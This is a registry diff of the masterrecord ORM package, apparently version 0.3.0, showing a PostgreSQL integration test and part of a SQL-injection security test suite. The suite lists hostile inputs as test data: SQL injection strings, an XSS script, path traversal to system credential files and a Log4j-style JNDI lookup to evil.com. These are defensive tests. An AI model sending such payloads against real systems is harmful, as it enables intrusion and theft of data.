masterrecord 0.2.36 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/settings.local.json +19 -1
- package/Entity/entityModel.js +6 -0
- package/Entity/entityTrackerModel.js +20 -3
- package/Entity/fieldTransformer.js +266 -0
- package/Migrations/migrationMySQLQuery.js +145 -1
- package/Migrations/migrationPostgresQuery.js +402 -0
- package/Migrations/migrationSQLiteQuery.js +145 -1
- package/Migrations/schema.js +131 -28
- package/QueryLanguage/queryMethods.js +193 -15
- package/QueryLanguage/queryParameters.js +136 -0
- package/QueryLanguage/queryScript.js +13 -4
- package/SQLLiteEngine.js +309 -19
- package/context.js +47 -10
- package/docs/INCLUDES_CLARIFICATION.md +202 -0
- package/docs/METHODS_REFERENCE.md +184 -0
- package/docs/MIGRATIONS_GUIDE.md +699 -0
- package/docs/POSTGRESQL_SETUP.md +415 -0
- package/examples/jsonArrayTransformer.js +215 -0
- package/mySQLEngine.js +249 -17
- package/package.json +3 -3
- package/postgresEngine.js +434 -491
- package/postgresSyncConnect.js +209 -0
- package/readme.md +1046 -416
- package/test/anyCommaStringTest.js +237 -0
- package/test/anyMethodTest.js +176 -0
- package/test/findByIdTest.js +227 -0
- package/test/includesFeatureTest.js +183 -0
- package/test/includesTransformTest.js +110 -0
- package/test/newMethodTest.js +330 -0
- package/test/newMethodUnitTest.js +320 -0
- package/test/parameterizedPlaceholderTest.js +159 -0
- package/test/postgresEngineTest.js +463 -0
- package/test/postgresIntegrationTest.js +381 -0
- package/test/securityTest.js +268 -0
- package/test/singleDollarPlaceholderTest.js +238 -0
- package/test/transformerTest.js +287 -0
- package/test/verifyFindById.js +169 -0
- package/test/verifyNewMethod.js +191 -0
|
@@ -0,0 +1,381 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* PostgreSQL Integration Test for MasterRecord
|
|
3
|
+
*
|
|
4
|
+
* Tests the complete PostgreSQL implementation with pg 8.16.3
|
|
5
|
+
*
|
|
6
|
+
* Requirements:
|
|
7
|
+
* - PostgreSQL server running on localhost:5432
|
|
8
|
+
* - Test database named 'masterrecord_test'
|
|
9
|
+
* - User with credentials (set in config below)
|
|
10
|
+
*/
|
|
11
|
+
|
|
12
|
+
const PostgresSyncConnect = require('../postgresSyncConnect');
|
|
13
|
+
const postgresEngine = require('../postgresEngine');
|
|
14
|
+
|
|
15
|
+
console.log("╔════════════════════════════════════════════════════════════════╗");
|
|
16
|
+
console.log("║ PostgreSQL Integration Test for MasterRecord ║");
|
|
17
|
+
console.log("╚════════════════════════════════════════════════════════════════╝\n");
|
|
18
|
+
|
|
19
|
+
let passed = 0;
|
|
20
|
+
let failed = 0;
|
|
21
|
+
|
|
22
|
+
// Test configuration - update these for your environment
|
|
23
|
+
const TEST_CONFIG = {
|
|
24
|
+
host: 'localhost',
|
|
25
|
+
port: 5432,
|
|
26
|
+
database: 'masterrecord_test',
|
|
27
|
+
user: 'postgres',
|
|
28
|
+
password: 'postgres',
|
|
29
|
+
max: 10,
|
|
30
|
+
idleTimeoutMillis: 30000,
|
|
31
|
+
connectionTimeoutMillis: 2000
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
// Mock entity for testing
|
|
35
|
+
const TEST_ENTITY = {
|
|
36
|
+
__name: 'TestUser',
|
|
37
|
+
id: { type: 'integer', primary: true, auto: true },
|
|
38
|
+
name: { type: 'string', nullable: false },
|
|
39
|
+
email: { type: 'string', nullable: false },
|
|
40
|
+
age: { type: 'integer', nullable: true },
|
|
41
|
+
created_at: { type: 'timestamp', nullable: true }
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
let connection = null;
|
|
45
|
+
let engine = null;
|
|
46
|
+
|
|
47
|
+
async function runTests() {
|
|
48
|
+
try {
|
|
49
|
+
// Test 1: Connection Initialization
|
|
50
|
+
console.log("📝 Test 1: PostgreSQL Connection Initialization");
|
|
51
|
+
console.log("──────────────────────────────────────────────────");
|
|
52
|
+
|
|
53
|
+
try {
|
|
54
|
+
connection = new PostgresSyncConnect();
|
|
55
|
+
await connection.connect(TEST_CONFIG);
|
|
56
|
+
|
|
57
|
+
if (connection.isConnected()) {
|
|
58
|
+
console.log(" ✓ Connection established");
|
|
59
|
+
console.log(` ✓ Connected to ${TEST_CONFIG.database}`);
|
|
60
|
+
passed++;
|
|
61
|
+
} else {
|
|
62
|
+
console.log(" ✗ Connection failed");
|
|
63
|
+
failed++;
|
|
64
|
+
}
|
|
65
|
+
} catch (err) {
|
|
66
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
67
|
+
console.log(" ℹ Make sure PostgreSQL is running and test database exists");
|
|
68
|
+
failed++;
|
|
69
|
+
return; // Can't continue without connection
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
// Test 2: Get Engine Instance
|
|
73
|
+
console.log("\n📝 Test 2: Get Engine Instance");
|
|
74
|
+
console.log("──────────────────────────────────────────────────");
|
|
75
|
+
|
|
76
|
+
try {
|
|
77
|
+
engine = connection.getEngine();
|
|
78
|
+
|
|
79
|
+
if (engine) {
|
|
80
|
+
console.log(" ✓ Engine instance retrieved");
|
|
81
|
+
console.log(` ✓ Engine type: ${engine.dbType}`);
|
|
82
|
+
passed++;
|
|
83
|
+
} else {
|
|
84
|
+
console.log(" ✗ Failed to get engine");
|
|
85
|
+
failed++;
|
|
86
|
+
}
|
|
87
|
+
} catch (err) {
|
|
88
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
89
|
+
failed++;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// Test 3: Health Check
|
|
93
|
+
console.log("\n📝 Test 3: Connection Health Check");
|
|
94
|
+
console.log("──────────────────────────────────────────────────");
|
|
95
|
+
|
|
96
|
+
try {
|
|
97
|
+
const health = await connection.healthCheck();
|
|
98
|
+
|
|
99
|
+
if (health.healthy) {
|
|
100
|
+
console.log(" ✓ Health check passed");
|
|
101
|
+
console.log(` ✓ Server time: ${health.serverTime}`);
|
|
102
|
+
console.log(` ✓ Pool size: ${health.poolSize}`);
|
|
103
|
+
console.log(` ✓ Idle connections: ${health.idleCount}`);
|
|
104
|
+
passed++;
|
|
105
|
+
} else {
|
|
106
|
+
console.log(` ✗ Health check failed: ${health.error}`);
|
|
107
|
+
failed++;
|
|
108
|
+
}
|
|
109
|
+
} catch (err) {
|
|
110
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
111
|
+
failed++;
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
// Test 4: Create Test Table
|
|
115
|
+
console.log("\n📝 Test 4: Create Test Table");
|
|
116
|
+
console.log("──────────────────────────────────────────────────");
|
|
117
|
+
|
|
118
|
+
try {
|
|
119
|
+
// Drop table if exists
|
|
120
|
+
await connection.query(`DROP TABLE IF EXISTS TestUser`);
|
|
121
|
+
|
|
122
|
+
// Create table
|
|
123
|
+
const createQuery = `
|
|
124
|
+
CREATE TABLE TestUser (
|
|
125
|
+
id SERIAL PRIMARY KEY,
|
|
126
|
+
name VARCHAR(255) NOT NULL,
|
|
127
|
+
email VARCHAR(255) NOT NULL,
|
|
128
|
+
age INTEGER,
|
|
129
|
+
created_at TIMESTAMP
|
|
130
|
+
)
|
|
131
|
+
`;
|
|
132
|
+
|
|
133
|
+
await connection.query(createQuery);
|
|
134
|
+
console.log(" ✓ Test table created");
|
|
135
|
+
passed++;
|
|
136
|
+
} catch (err) {
|
|
137
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
138
|
+
failed++;
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
// Test 5: Parameterized INSERT with RETURNING
|
|
142
|
+
console.log("\n📝 Test 5: INSERT with $1, $2 Placeholders and RETURNING");
|
|
143
|
+
console.log("──────────────────────────────────────────────────");
|
|
144
|
+
|
|
145
|
+
try {
|
|
146
|
+
const insertQuery = `
|
|
147
|
+
INSERT INTO TestUser (name, email, age, created_at)
|
|
148
|
+
VALUES ($1, $2, $3, $4)
|
|
149
|
+
RETURNING id
|
|
150
|
+
`;
|
|
151
|
+
|
|
152
|
+
const params = ['John Doe', 'john@example.com', 30, new Date()];
|
|
153
|
+
const result = await connection.query(insertQuery, params);
|
|
154
|
+
|
|
155
|
+
if (result.rows && result.rows.length > 0 && result.rows[0].id) {
|
|
156
|
+
console.log(" ✓ INSERT with RETURNING successful");
|
|
157
|
+
console.log(` ✓ Returned ID: ${result.rows[0].id}`);
|
|
158
|
+
console.log(` ✓ Placeholder format: $1, $2, $3, $4`);
|
|
159
|
+
passed++;
|
|
160
|
+
} else {
|
|
161
|
+
console.log(" ✗ INSERT did not return ID");
|
|
162
|
+
failed++;
|
|
163
|
+
}
|
|
164
|
+
} catch (err) {
|
|
165
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
166
|
+
failed++;
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
// Test 6: Parameterized SELECT
|
|
170
|
+
console.log("\n📝 Test 6: SELECT with Parameterized Query");
|
|
171
|
+
console.log("──────────────────────────────────────────────────");
|
|
172
|
+
|
|
173
|
+
try {
|
|
174
|
+
const selectQuery = `SELECT * FROM TestUser WHERE name = $1`;
|
|
175
|
+
const result = await connection.query(selectQuery, ['John Doe']);
|
|
176
|
+
|
|
177
|
+
if (result.rows && result.rows.length > 0) {
|
|
178
|
+
console.log(" ✓ SELECT with $1 placeholder successful");
|
|
179
|
+
console.log(` ✓ Found user: ${result.rows[0].name}`);
|
|
180
|
+
console.log(` ✓ Email: ${result.rows[0].email}`);
|
|
181
|
+
passed++;
|
|
182
|
+
} else {
|
|
183
|
+
console.log(" ✗ SELECT returned no results");
|
|
184
|
+
failed++;
|
|
185
|
+
}
|
|
186
|
+
} catch (err) {
|
|
187
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
188
|
+
failed++;
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
// Test 7: Parameterized UPDATE
|
|
192
|
+
console.log("\n📝 Test 7: UPDATE with Parameterized Query");
|
|
193
|
+
console.log("──────────────────────────────────────────────────");
|
|
194
|
+
|
|
195
|
+
try {
|
|
196
|
+
const updateQuery = `UPDATE TestUser SET age = $1 WHERE name = $2`;
|
|
197
|
+
const result = await connection.query(updateQuery, [35, 'John Doe']);
|
|
198
|
+
|
|
199
|
+
if (result.rowCount > 0) {
|
|
200
|
+
console.log(" ✓ UPDATE with $1, $2 placeholders successful");
|
|
201
|
+
console.log(` ✓ Rows affected: ${result.rowCount}`);
|
|
202
|
+
passed++;
|
|
203
|
+
} else {
|
|
204
|
+
console.log(" ✗ UPDATE affected no rows");
|
|
205
|
+
failed++;
|
|
206
|
+
}
|
|
207
|
+
} catch (err) {
|
|
208
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
209
|
+
failed++;
|
|
210
|
+
}
|
|
211
|
+
|
|
212
|
+
// Test 8: Transaction Support
|
|
213
|
+
console.log("\n📝 Test 8: Transaction (BEGIN/COMMIT/ROLLBACK)");
|
|
214
|
+
console.log("──────────────────────────────────────────────────");
|
|
215
|
+
|
|
216
|
+
try {
|
|
217
|
+
const result = await connection.transaction(async (client) => {
|
|
218
|
+
// Insert within transaction
|
|
219
|
+
const insertResult = await client.query(
|
|
220
|
+
`INSERT INTO TestUser (name, email, age) VALUES ($1, $2, $3) RETURNING id`,
|
|
221
|
+
['Jane Smith', 'jane@example.com', 28]
|
|
222
|
+
);
|
|
223
|
+
|
|
224
|
+
// Update within transaction
|
|
225
|
+
await client.query(
|
|
226
|
+
`UPDATE TestUser SET age = $1 WHERE id = $2`,
|
|
227
|
+
[29, insertResult.rows[0].id]
|
|
228
|
+
);
|
|
229
|
+
|
|
230
|
+
return insertResult.rows[0].id;
|
|
231
|
+
});
|
|
232
|
+
|
|
233
|
+
if (result) {
|
|
234
|
+
console.log(" ✓ Transaction completed successfully");
|
|
235
|
+
console.log(` ✓ INSERT and UPDATE within transaction`);
|
|
236
|
+
console.log(` ✓ Returned ID: ${result}`);
|
|
237
|
+
passed++;
|
|
238
|
+
} else {
|
|
239
|
+
console.log(" ✗ Transaction failed");
|
|
240
|
+
failed++;
|
|
241
|
+
}
|
|
242
|
+
} catch (err) {
|
|
243
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
244
|
+
failed++;
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
// Test 9: IN Clause with Multiple Parameters
|
|
248
|
+
console.log("\n📝 Test 9: IN Clause with Multiple Parameters");
|
|
249
|
+
console.log("──────────────────────────────────────────────────");
|
|
250
|
+
|
|
251
|
+
try {
|
|
252
|
+
const inQuery = `SELECT * FROM TestUser WHERE name IN ($1, $2)`;
|
|
253
|
+
const result = await connection.query(inQuery, ['John Doe', 'Jane Smith']);
|
|
254
|
+
|
|
255
|
+
if (result.rows && result.rows.length >= 2) {
|
|
256
|
+
console.log(" ✓ IN clause with $1, $2 successful");
|
|
257
|
+
console.log(` ✓ Found ${result.rows.length} users`);
|
|
258
|
+
passed++;
|
|
259
|
+
} else {
|
|
260
|
+
console.log(" ✗ IN clause returned insufficient results");
|
|
261
|
+
failed++;
|
|
262
|
+
}
|
|
263
|
+
} catch (err) {
|
|
264
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
265
|
+
failed++;
|
|
266
|
+
}
|
|
267
|
+
|
|
268
|
+
// Test 10: NULL Handling
|
|
269
|
+
console.log("\n📝 Test 10: NULL Handling");
|
|
270
|
+
console.log("──────────────────────────────────────────────────");
|
|
271
|
+
|
|
272
|
+
try {
|
|
273
|
+
const insertQuery = `INSERT INTO TestUser (name, email, age) VALUES ($1, $2, $3) RETURNING id`;
|
|
274
|
+
const result = await connection.query(insertQuery, ['Bob Wilson', 'bob@example.com', null]);
|
|
275
|
+
|
|
276
|
+
const selectQuery = `SELECT * FROM TestUser WHERE id = $1`;
|
|
277
|
+
const selectResult = await connection.query(selectQuery, [result.rows[0].id]);
|
|
278
|
+
|
|
279
|
+
if (selectResult.rows[0].age === null) {
|
|
280
|
+
console.log(" ✓ NULL values handled correctly");
|
|
281
|
+
console.log(" ✓ Inserted and retrieved NULL age");
|
|
282
|
+
passed++;
|
|
283
|
+
} else {
|
|
284
|
+
console.log(" ✗ NULL handling failed");
|
|
285
|
+
failed++;
|
|
286
|
+
}
|
|
287
|
+
} catch (err) {
|
|
288
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
289
|
+
failed++;
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
// Test 11: Connection Pool Info
|
|
293
|
+
console.log("\n📝 Test 11: Connection Pool Information");
|
|
294
|
+
console.log("──────────────────────────────────────────────────");
|
|
295
|
+
|
|
296
|
+
try {
|
|
297
|
+
const info = connection.getConnectionInfo();
|
|
298
|
+
|
|
299
|
+
if (info) {
|
|
300
|
+
console.log(" ✓ Connection info retrieved");
|
|
301
|
+
console.log(` ✓ Host: ${info.host}:${info.port}`);
|
|
302
|
+
console.log(` ✓ Database: ${info.database}`);
|
|
303
|
+
console.log(` ✓ User: ${info.user}`);
|
|
304
|
+
console.log(` ✓ Max connections: ${info.maxConnections}`);
|
|
305
|
+
passed++;
|
|
306
|
+
} else {
|
|
307
|
+
console.log(" ✗ Failed to get connection info");
|
|
308
|
+
failed++;
|
|
309
|
+
}
|
|
310
|
+
} catch (err) {
|
|
311
|
+
console.log(` ✗ Error: ${err.message}`);
|
|
312
|
+
failed++;
|
|
313
|
+
}
|
|
314
|
+
|
|
315
|
+
// Cleanup: Drop test table
|
|
316
|
+
console.log("\n📝 Cleanup: Dropping Test Table");
|
|
317
|
+
console.log("──────────────────────────────────────────────────");
|
|
318
|
+
|
|
319
|
+
try {
|
|
320
|
+
await connection.query(`DROP TABLE IF EXISTS TestUser`);
|
|
321
|
+
console.log(" ✓ Test table dropped");
|
|
322
|
+
} catch (err) {
|
|
323
|
+
console.log(` ⚠ Warning: ${err.message}`);
|
|
324
|
+
}
|
|
325
|
+
|
|
326
|
+
} catch (err) {
|
|
327
|
+
console.log(`\n❌ Fatal error: ${err.message}`);
|
|
328
|
+
console.log(err.stack);
|
|
329
|
+
} finally {
|
|
330
|
+
// Close connection
|
|
331
|
+
if (connection) {
|
|
332
|
+
try {
|
|
333
|
+
await connection.close();
|
|
334
|
+
console.log(" ✓ Connection closed");
|
|
335
|
+
} catch (err) {
|
|
336
|
+
console.log(` ⚠ Warning closing connection: ${err.message}`);
|
|
337
|
+
}
|
|
338
|
+
}
|
|
339
|
+
}
|
|
340
|
+
|
|
341
|
+
// Summary
|
|
342
|
+
console.log("\n\n╔════════════════════════════════════════════════════════════════╗");
|
|
343
|
+
console.log("║ Test Summary ║");
|
|
344
|
+
console.log("╚════════════════════════════════════════════════════════════════╝");
|
|
345
|
+
|
|
346
|
+
const total = passed + failed;
|
|
347
|
+
const successRate = total > 0 ? Math.round((passed/total)*100) : 0;
|
|
348
|
+
|
|
349
|
+
console.log(`\n Total Tests: ${total}`);
|
|
350
|
+
console.log(` ✅ Passed: ${passed}`);
|
|
351
|
+
console.log(` ❌ Failed: ${failed}`);
|
|
352
|
+
console.log(` Success Rate: ${successRate}%\n`);
|
|
353
|
+
|
|
354
|
+
if (failed === 0) {
|
|
355
|
+
console.log("🎉 All PostgreSQL integration tests passed!");
|
|
356
|
+
console.log("\n✨ PostgreSQL Implementation Complete!");
|
|
357
|
+
console.log("\n📖 Features Verified:");
|
|
358
|
+
console.log(" ✓ Connection pooling with pg 8.16.3");
|
|
359
|
+
console.log(" ✓ Parameterized queries with $1, $2, $3... placeholders");
|
|
360
|
+
console.log(" ✓ RETURNING clause for INSERT operations");
|
|
361
|
+
console.log(" ✓ Async/await pattern throughout");
|
|
362
|
+
console.log(" ✓ Transaction support (BEGIN/COMMIT/ROLLBACK)");
|
|
363
|
+
console.log(" ✓ NULL value handling");
|
|
364
|
+
console.log(" ✓ IN clauses with multiple parameters");
|
|
365
|
+
console.log(" ✓ Connection pool management");
|
|
366
|
+
console.log(" ✓ Health checks");
|
|
367
|
+
console.log("\n✅ PostgreSQL engine is ready for production use!\n");
|
|
368
|
+
process.exit(0);
|
|
369
|
+
} else {
|
|
370
|
+
console.log("⚠️ Some PostgreSQL tests failed.");
|
|
371
|
+
console.log("\n📖 Common Issues:");
|
|
372
|
+
console.log(" • PostgreSQL server not running");
|
|
373
|
+
console.log(" • Test database 'masterrecord_test' doesn't exist");
|
|
374
|
+
console.log(" • Incorrect credentials in TEST_CONFIG");
|
|
375
|
+
console.log(" • Port 5432 not accessible\n");
|
|
376
|
+
process.exit(1);
|
|
377
|
+
}
|
|
378
|
+
}
|
|
379
|
+
|
|
380
|
+
// Run tests
|
|
381
|
+
runTests();
|
|
@@ -0,0 +1,268 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Comprehensive Security Test Suite
|
|
3
|
+
*
|
|
4
|
+
* This test suite validates that MasterRecord is protected against SQL injection
|
|
5
|
+
* attacks across all operations: SELECT, INSERT, UPDATE, DELETE
|
|
6
|
+
*
|
|
7
|
+
* All tests should PASS, meaning malicious input is properly escaped/parameterized
|
|
8
|
+
*/
|
|
9
|
+
|
|
10
|
+
const QueryParameters = require('../QueryLanguage/queryParameters');
|
|
11
|
+
|
|
12
|
+
console.log("╔════════════════════════════════════════════════════════════════╗");
|
|
13
|
+
console.log("║ MasterRecord Security Test Suite ║");
|
|
14
|
+
console.log("╚════════════════════════════════════════════════════════════════╝\n");
|
|
15
|
+
|
|
16
|
+
// Test 1: QueryParameters Class Validation
|
|
17
|
+
console.log("📝 Test 1: QueryParameters - Type Validation");
|
|
18
|
+
console.log("──────────────────────────────────────────────────────────────");
|
|
19
|
+
|
|
20
|
+
const params = new QueryParameters();
|
|
21
|
+
let passed = 0;
|
|
22
|
+
let failed = 0;
|
|
23
|
+
|
|
24
|
+
// Test 1a: Valid types should be accepted
|
|
25
|
+
const validValues = [
|
|
26
|
+
{ value: 42, type: "integer" },
|
|
27
|
+
{ value: "test", type: "string" },
|
|
28
|
+
{ value: true, type: "boolean" },
|
|
29
|
+
{ value: 3.14, type: "number" },
|
|
30
|
+
{ value: null, type: "null" }
|
|
31
|
+
];
|
|
32
|
+
|
|
33
|
+
console.log("\n✅ Testing valid values:");
|
|
34
|
+
for(const test of validValues){
|
|
35
|
+
try {
|
|
36
|
+
params.validateValue(test.value);
|
|
37
|
+
console.log(` ✓ ${test.type}: ${JSON.stringify(test.value)} - ACCEPTED`);
|
|
38
|
+
passed++;
|
|
39
|
+
} catch(err) {
|
|
40
|
+
console.log(` ✗ ${test.type}: ${JSON.stringify(test.value)} - REJECTED (should accept)`);
|
|
41
|
+
failed++;
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
// Test 1b: Invalid types should be rejected
|
|
46
|
+
const invalidValues = [
|
|
47
|
+
{ value: {key: "value"}, type: "object" },
|
|
48
|
+
{ value: () => "test", type: "function" },
|
|
49
|
+
{ value: Symbol("test"), type: "symbol" },
|
|
50
|
+
{ value: undefined, type: "undefined" }
|
|
51
|
+
];
|
|
52
|
+
|
|
53
|
+
console.log("\n🔒 Testing invalid values (should be rejected):");
|
|
54
|
+
for(const test of invalidValues){
|
|
55
|
+
try {
|
|
56
|
+
params.validateValue(test.value);
|
|
57
|
+
console.log(` ✗ ${test.type}: ACCEPTED (should reject)`);
|
|
58
|
+
failed++;
|
|
59
|
+
} catch(err) {
|
|
60
|
+
console.log(` ✓ ${test.type}: REJECTED - ${err.message}`);
|
|
61
|
+
passed++;
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// Test 2: SQL Injection Attempts in String Parameters
|
|
66
|
+
console.log("\n\n📝 Test 2: SQL Injection in String Parameters");
|
|
67
|
+
console.log("──────────────────────────────────────────────────────────");
|
|
68
|
+
|
|
69
|
+
const sqlInjectionAttempts = [
|
|
70
|
+
"admin' OR '1'='1",
|
|
71
|
+
"'; DROP TABLE users;--",
|
|
72
|
+
"admin'--",
|
|
73
|
+
"' UNION SELECT * FROM passwords--",
|
|
74
|
+
"1' AND 1=1 UNION SELECT NULL, username, password FROM users--",
|
|
75
|
+
"<script>alert('XSS')</script>",
|
|
76
|
+
"../../etc/passwd",
|
|
77
|
+
"${jndi:ldap://evil.com/a}", // Log4j style
|
|
78
|
+
"..\\..\\..\\windows\\system32\\config\\sam"
|
|
79
|
+
];
|
|
80
|
+
|
|
81
|
+
console.log("\n🔒 Testing SQL injection attempts (all should be safely parameterized):");
|
|
82
|
+
params.reset();
|
|
83
|
+
for(const attempt of sqlInjectionAttempts){
|
|
84
|
+
try {
|
|
85
|
+
params.validateValue(attempt);
|
|
86
|
+
const placeholder = params.addParam(attempt, 'sqlite');
|
|
87
|
+
console.log(` ✓ Input: ${attempt.substring(0, 40)}...`);
|
|
88
|
+
console.log(` Placeholder: ${placeholder} (value stored separately)`);
|
|
89
|
+
passed++;
|
|
90
|
+
} catch(err) {
|
|
91
|
+
console.log(` ✗ Failed to handle: ${attempt}`);
|
|
92
|
+
console.log(` Error: ${err.message}`);
|
|
93
|
+
failed++;
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
// Test 3: Array Parameters (for IN clauses)
|
|
98
|
+
console.log("\n\n📝 Test 3: Array Parameters for IN Clauses");
|
|
99
|
+
console.log("──────────────────────────────────────────────────────────");
|
|
100
|
+
|
|
101
|
+
const arrayTests = [
|
|
102
|
+
{
|
|
103
|
+
name: "Valid integer array",
|
|
104
|
+
value: [1, 2, 3, 4, 5],
|
|
105
|
+
shouldPass: true
|
|
106
|
+
},
|
|
107
|
+
{
|
|
108
|
+
name: "Valid string array",
|
|
109
|
+
value: ["Alice", "Bob", "Charlie"],
|
|
110
|
+
shouldPass: true
|
|
111
|
+
},
|
|
112
|
+
{
|
|
113
|
+
name: "Array with SQL injection attempts",
|
|
114
|
+
value: ["Alice", "Bob'; DROP TABLE users;--", "Charlie"],
|
|
115
|
+
shouldPass: true // Should accept but parameterize safely
|
|
116
|
+
},
|
|
117
|
+
{
|
|
118
|
+
name: "Empty array",
|
|
119
|
+
value: [],
|
|
120
|
+
shouldPass: false // Should reject
|
|
121
|
+
},
|
|
122
|
+
{
|
|
123
|
+
name: "Array with objects",
|
|
124
|
+
value: [{id: 1}, {id: 2}],
|
|
125
|
+
shouldPass: false // Should reject objects
|
|
126
|
+
}
|
|
127
|
+
];
|
|
128
|
+
|
|
129
|
+
console.log("\n🔒 Testing array parameter handling:");
|
|
130
|
+
for(const test of arrayTests){
|
|
131
|
+
params.reset();
|
|
132
|
+
try {
|
|
133
|
+
// Validate each element
|
|
134
|
+
for(const val of test.value){
|
|
135
|
+
params.validateValue(val);
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
// Try to add as array
|
|
139
|
+
const placeholders = params.addParams(test.value, 'sqlite');
|
|
140
|
+
|
|
141
|
+
if(test.shouldPass){
|
|
142
|
+
console.log(` ✓ ${test.name}: ACCEPTED`);
|
|
143
|
+
console.log(` Placeholders: ${placeholders}`);
|
|
144
|
+
console.log(` Values: ${JSON.stringify(params.getParams())}`);
|
|
145
|
+
passed++;
|
|
146
|
+
} else {
|
|
147
|
+
console.log(` ✗ ${test.name}: ACCEPTED (should reject)`);
|
|
148
|
+
failed++;
|
|
149
|
+
}
|
|
150
|
+
} catch(err) {
|
|
151
|
+
if(!test.shouldPass){
|
|
152
|
+
console.log(` ✓ ${test.name}: REJECTED - ${err.message}`);
|
|
153
|
+
passed++;
|
|
154
|
+
} else {
|
|
155
|
+
console.log(` ✗ ${test.name}: REJECTED (should accept)`);
|
|
156
|
+
console.log(` Error: ${err.message}`);
|
|
157
|
+
failed++;
|
|
158
|
+
}
|
|
159
|
+
}
|
|
160
|
+
}
|
|
161
|
+
|
|
162
|
+
// Test 4: Special Characters in Different Databases
|
|
163
|
+
console.log("\n\n📝 Test 4: Placeholder Generation for Different Databases");
|
|
164
|
+
console.log("──────────────────────────────────────────────────────────");
|
|
165
|
+
|
|
166
|
+
const dbTests = [
|
|
167
|
+
{ db: 'sqlite', expected: '?' },
|
|
168
|
+
{ db: 'mysql', expected: '?' },
|
|
169
|
+
{ db: 'postgres', expectedPattern: /^\$\d+$/ }
|
|
170
|
+
];
|
|
171
|
+
|
|
172
|
+
console.log("\n✅ Testing database-specific placeholder generation:");
|
|
173
|
+
for(const test of dbTests){
|
|
174
|
+
params.reset();
|
|
175
|
+
try {
|
|
176
|
+
const placeholder = params.addParam("test", test.db);
|
|
177
|
+
|
|
178
|
+
if(test.expected){
|
|
179
|
+
if(placeholder === test.expected){
|
|
180
|
+
console.log(` ✓ ${test.db}: ${placeholder} - CORRECT`);
|
|
181
|
+
passed++;
|
|
182
|
+
} else {
|
|
183
|
+
console.log(` ✗ ${test.db}: ${placeholder} (expected ${test.expected})`);
|
|
184
|
+
failed++;
|
|
185
|
+
}
|
|
186
|
+
} else if(test.expectedPattern){
|
|
187
|
+
if(test.expectedPattern.test(placeholder)){
|
|
188
|
+
console.log(` ✓ ${test.db}: ${placeholder} - CORRECT`);
|
|
189
|
+
passed++;
|
|
190
|
+
} else {
|
|
191
|
+
console.log(` ✗ ${test.db}: ${placeholder} (expected pattern ${test.expectedPattern})`);
|
|
192
|
+
failed++;
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
} catch(err) {
|
|
196
|
+
console.log(` ✗ ${test.db}: ERROR - ${err.message}`);
|
|
197
|
+
failed++;
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
// Test 5: Edge Cases
|
|
202
|
+
console.log("\n\n📝 Test 5: Edge Cases");
|
|
203
|
+
console.log("──────────────────────────────────────────────────────────");
|
|
204
|
+
|
|
205
|
+
const edgeCases = [
|
|
206
|
+
{ name: "Empty string", value: "", shouldPass: true },
|
|
207
|
+
{ name: "Very long string", value: "a".repeat(10000), shouldPass: true },
|
|
208
|
+
{ name: "Unicode characters", value: "Hello 世界 🌍", shouldPass: true },
|
|
209
|
+
{ name: "Newlines and tabs", value: "Line1\nLine2\tTab", shouldPass: true },
|
|
210
|
+
{ name: "Single quote", value: "O'Reilly", shouldPass: true },
|
|
211
|
+
{ name: "Double quote", value: 'He said "Hello"', shouldPass: true },
|
|
212
|
+
{ name: "Backslash", value: "C:\\Users\\test", shouldPass: true },
|
|
213
|
+
{ name: "Null byte", value: "test\x00null", shouldPass: true }
|
|
214
|
+
];
|
|
215
|
+
|
|
216
|
+
console.log("\n✅ Testing edge cases:");
|
|
217
|
+
params.reset();
|
|
218
|
+
for(const test of edgeCases){
|
|
219
|
+
try {
|
|
220
|
+
params.validateValue(test.value);
|
|
221
|
+
params.addParam(test.value, 'sqlite');
|
|
222
|
+
|
|
223
|
+
if(test.shouldPass){
|
|
224
|
+
console.log(` ✓ ${test.name}: ACCEPTED`);
|
|
225
|
+
passed++;
|
|
226
|
+
} else {
|
|
227
|
+
console.log(` ✗ ${test.name}: ACCEPTED (should reject)`);
|
|
228
|
+
failed++;
|
|
229
|
+
}
|
|
230
|
+
} catch(err) {
|
|
231
|
+
if(!test.shouldPass){
|
|
232
|
+
console.log(` ✓ ${test.name}: REJECTED - ${err.message}`);
|
|
233
|
+
passed++;
|
|
234
|
+
} else {
|
|
235
|
+
console.log(` ✗ ${test.name}: REJECTED (should accept)`);
|
|
236
|
+
console.log(` Error: ${err.message}`);
|
|
237
|
+
failed++;
|
|
238
|
+
}
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
|
|
242
|
+
// Summary
|
|
243
|
+
console.log("\n\n╔════════════════════════════════════════════════════════════════╗");
|
|
244
|
+
console.log("║ Test Summary ║");
|
|
245
|
+
console.log("╚════════════════════════════════════════════════════════════════╝");
|
|
246
|
+
|
|
247
|
+
